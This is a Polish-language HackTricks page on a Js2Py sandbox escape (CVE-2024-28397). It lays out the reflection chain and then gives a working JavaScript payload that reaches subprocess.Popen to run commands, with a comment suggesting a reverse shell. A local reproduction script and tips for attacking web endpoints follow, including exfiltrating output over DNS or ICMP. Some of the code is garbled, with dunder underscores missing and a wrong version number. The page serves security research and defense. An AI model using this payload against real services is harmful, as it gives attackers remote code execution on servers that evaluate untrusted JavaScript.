Js2Py sandbox escape (CVE-2024-28397)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Js2Py translates JavaScript into Python objects, so even when js2py.disable_pyimport() is used, untrusted JS can traverse Python internals to reach dangerous classes such as subprocess.Popen. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise “sandboxed” JavaScript.

Prymityw: pivot z wrapperów obiektów JS do obiektów Python

  1. Uzyskaj obiekt oparty na Pythonie: Object.getOwnPropertyNames({}) zwraca obiekt dict_keys w przestrzeni Pythona.
  2. Odzyskaj dostęp do atrybutów: wyciągnij .__getattribute__ z tego obiektu i wywołaj go, by odczytać dowolne atrybuty (np. "__class__").
  3. Wspiąć się do object: z <class 'dict_keys'> odczytaj .__base__, by dostać się do bazowego object Pythona.
  4. Wypisz załadowane klasy: wywołaj object.__subclasses__() by przejść przez każdą klasę już załadowaną w interpreterze.
  5. Znajdź subprocess.Popen: rekurencyjnie przeszukaj subclasses, gdzie __module__ == "subprocess" i __name__ == "Popen".
  6. Wykonaj polecenie: zainicjalizuj Popen z argumentami kontrolowanymi przez atakującego i wywołaj .communicate(), by przechwycić wyjście.
Przykładowy payload wykorzystujący Js2Py do dotarcia do subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Dlaczego to działa: Js2Py udostępnia wrappery obiektów Pythona dla JS bez usuwania `__getattribute__`, `__class__`, `__base__` ani `__subclasses__`. `disable_pyimport()` blokuje tylko jawne `pyimport`, ale powyższy łańcuch nigdy nie importuje nic nowego; ponownie wykorzystuje już załadowane moduły i klasy w pamięci.

## Odtworzenie łańcucha lokalnie
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Działanie przeciwko webowym sandboxom

  • Każdy endpoint, który przekazuje JS kontrolowany przez atakującego do js2py.eval_js (np. Flask /run_code API), jest natychmiast RCE, jeśli użytkownik procesu ma dostęp do powłoki.
  • Zwracanie jsonify({'result': result}) zawiedzie, gdy .communicate() zwraca bytes; użyj decode lub przekieruj wyjście do DNS/ICMP, aby ominąć blokery serializacji.
  • disable_pyimport() nie łagodzi tego łańcucha; wymagana jest twarda izolacja (oddzielny proces/kontener) lub usunięcie wykonywania nieznanego kodu przez Js2Py.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks